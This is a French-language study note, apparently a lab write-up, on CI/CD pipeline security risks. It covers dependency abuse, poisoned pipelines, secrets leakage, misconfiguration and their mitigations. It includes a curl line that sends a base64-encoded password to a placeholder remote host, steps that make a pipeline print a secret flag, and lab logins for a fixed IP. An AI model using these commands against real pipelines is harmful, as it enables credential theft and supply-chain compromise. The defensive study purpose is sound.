Les mécanismes de contrôle de flux insuffisants font référence à la capacité d'un attaquant ayant obtenu des autorisations sur un système au sein du processus CI/CD à pousser à lui seul du code malveillant ou des artefacts dans le pipeline, en raison d'un manque de mécanismes qui imposent une approbation ou un examen supplémentaire.
Exemple : L’exécution d’analyses de sécurité dans les pipelines CI est une pratique courante. Checkov, un outil d'analyse de code statique pour IaC, est un exemple connu d'un tel scanner.
Ici, l'attaquant veut obtenir les droits de lectures sur un disque dur en écrasant le fichier de configuration Checkov
initial.
Attaque :
- Clone du repo
- Modification du fichier main.tf qui modifie les droits de lecture en publique
- Création du fichier
checkov.yaml
- Configurez les règles de protection des branches sur les branches hébergeant le code utilisé en production et dans d'autres systèmes sensibles
- Limitez l’utilisation des règles d'auto-merge et assurez-vous que, partout où elles sont utilisées, elles sont applicables à un minimum de contextes
Les risques de gestion inadéquate des identités et des accès proviennent des difficultés liées à la gestion de la grande quantité d’identités réparties dans les différents systèmes de l’écosystème d’ingénierie, du contrôle des sources au déploiement. L’existence d’identités mal gérées – tant humaines que programmatiques – augmente le potentiel et l’ampleur des dommages causés par leur compromission.
-
Pas d'implémentaion du moindre privilège
- Implémentation du moindre privilège
Fait référence à une pratique de sécurité liée à la gestion des dépendances dans le contexte des pipelines CI/CD. Cette pratique met l'accent sur la nécessité de surveiller et de sécuriser la chaîne de dépendances d'un projet pour éviter les abus potentiels. L'abus de la chaîne de dépendances entraîne la récupération et l'exécution par inadvertance d'un package malveillant localement lorsqu'il est extrait.
- Injection de packages (par ex npm) malveillant dans le pipeline
Exemple sur http://40.113.34.255:3000/Wonderland/twiddledee
thealice:thealice
$ git clone http://40.113.34.255:3000/Wonderland/twiddledee
$ cd twiddledee
$ nano index.js
ajout de la ligne
console.log(Buffer.from(process.env.FLAG6).toString("base64"))
git tag 1.2.0 HEAD
git push origin 1.2.0
Allons jenkins alice:alice http://40.113.34.255:8080/job/wonderland-twiddle/job/wonderland-twiddledum/lastSuccessfulBuild/console
Implementations de scan de dépendance
security_scan:
stage: security_scan
script:
- npm audit --audit-level=high
only:
- master
Un attaquant crée une nouvelle branche distante dans le référentiel, dans laquelle il met à jour le fichier de configuration du pipeline avec des commandes malveillantes destinées à accéder aux informations d'identification ou execution de code.
Exemple sur gitlab
Même sans avoir accès au retour des ci/cd, on peut envoyer les informations sur serveur distant.
curl -d creds="$(echo $PASSWORD | base64) http://monadresse.op
- Assurez-vous que les pipelines exécutant du code non révisé sont exécutés sur des nœuds isolés, non exposés à des secrets et à des environnements sensibles.
Abus de l'autorisation accordée au pipeline pour se déplacer latéralement à l'intérieur ou à l'extérieur du système CI/CD.
Exmple : Codecov, un outil de couverture de code populaire utilisé dans le CI, a été compromis et utilisé pour voler des variables d'environnement dans les builds.
- Assurez-vous que les secrets utilisés dans les systèmes CI/CD sont définis de manière à permettre à chaque pipeline et étape d'avoir accès uniquement aux secrets dont ils ont besoin.
Les secrets sont souvent transmis involontairement au SCM. Cela les rend accessibles à tout utilisateur disposant d'une autorisation de lecture sur le référentiel.
Une erreur courante lorsque l'on tente d'atténuer le problème consiste à supprimer le secret de la branche dans laquelle il a été validé, alors que le secret reste exposé dans les validations précédentes, qui sont toujours accessibles à toute personne ayant accès au répo.
Exemple :
Samsung a exposé des secrets trop permissifs dans les référentiels publics GitLab.
Exemple :
$ git clone http://40.113.34.255:3000/Wonderland/duchess.git
$ cd duchess
$ gitleaks detect -v
- Si leak il y a chnager le token/secret
- Mettre en place secret_dtection
Les risques de configuration non sécurisée du système proviennent de failles dans les paramètres de sécurité, la configuration et le renforcement des différents systèmes à travers le pipeline (par exemple, SCM, CI, référentiel d'artefacts), ce qui entraîne souvent des « fruits à portée de main » pour les attaquants cherchant à étendre leur présence dans l'environnement.
Exemple :
- Porte dérobée implantée dans le référentiel PHP git. Les attaquants ont poussé le code malveillant non révisé directement vers la branche principale de PHP, ce qui a finalement abouti à la diffusion d'une version formelle de PHP à tous les utilisateurs de PHP. L’attaque provient probablement d’une compromission du serveur git auto-maintenu de PHP. https://news-web.php.net/php.internals/113981
- La compromission du système de build SolarWinds, utilisé pour propager des logiciels malveillants via SolarWinds à 18 000 organisations. https://sec.report/Document/0001628280-20-017451/#swi-20201214.htm
- Le code source de Nissan a été divulgué après qu'une instance Bitbucket autogérée soit restée accessible depuis Internet avec les informations d'identification par défaut. https://www.zdnet.com/article/nissan-source-code-leaked-online-after-git-repo-misconfiguration/
- Un serveur GitLab autogéré du gouvernement de l'État de New York a été exposé à Internet, permettant à quiconque de s'inscrire et de se connecter au système, qui stockait des secrets sensibles. https://techcrunch.com/2021/06/24/an-internal-code-repo-used-by-new-york-states-it-office-was-exposed-online/
- Assurez-vous que l’accès réseau aux systèmes est conforme au principe du moindre accès.
- Branche protégée
Comprommissions de service tiers pour viser une cible
Exemple :
- Les attaquants compromettent le compte utilisateur GitHub d'un ingénieur DeepSource (une plateforme d'analyse statique). À l'aide du compte compromis, ils obtiennent les autorisations de l'application DeepSource GitHub, leur accordant un accès complet à la base de code de tous les clients DeepSource qui ont installé l'application GitHub compromise.
https://discuss.deepsource.io/t/security-incident-on-deepsource-s-github-application/131
- Les attaquants accèdent à la base de données de Waydev, une plateforme d'analyse Git, volant les jetons GitHub et GitLab OAuth de leurs clients.
https://changelog.waydev.co/github-and-gitlab-oauth-security-update-dw98s
- Minimiser l'utilisations de services tiers
- Examinez périodiquement tous les tiers intégrés et supprimez ceux qui ne sont plus utilisés.
Les risques de validation inappropriée de l’intégrité des artefacts permettent à un attaquant ayant accès à l’un des systèmes du processus CI/CD de pousser du code ou des artefacts malveillants µ(bien qu’apparemment inoffensifs) dans le pipeline, en raison de mécanismes insuffisants pour garantir la validation du code et des artefacts.
Exemple :
- Les attaquants compromettent le serveur de build Webmin et ajoutent une porte dérobée à l'un des scripts de l'application. La porte dérobée a continué à persister même après la mise hors service du serveur de build compromis, car le code avait été restauré à partir d'une sauvegarde locale, plutôt que du système de contrôle de source. Les utilisateurs de Webmin ont été sensibles au RCE via une attaque de la chaîne d'approvisionnement pendant plus de 15 mois, jusqu'à ce que la porte dérobée soit supprimée.
https://www.webmin.com/exploit.html
Logiciel de vérification d'artefacts : l'utilisation d'outils de signature et de vérification du code et des artefacts permet d'empêcher la livraison de logiciels non vérifiés dans le pipeline. Des exemples de tels projets sont in-toto , SLSA et Sigstore , tous faisant partie de la Linux Foundation.
Logs insuffisants permettent à un adversaire de mener des activités malveillantes au sein de l'environnement CI/CD sans être détecté pendant aucune phase de la chaîne de destruction de l'attaque, y compris l'identification des TTP (techniques, tactiques et procédures) de l'attaquant dans le cadre de tout post-incident.
Implémenter un monitoring qui veille à detecter toutes les attaques sur les applications web. ex CrowdStrike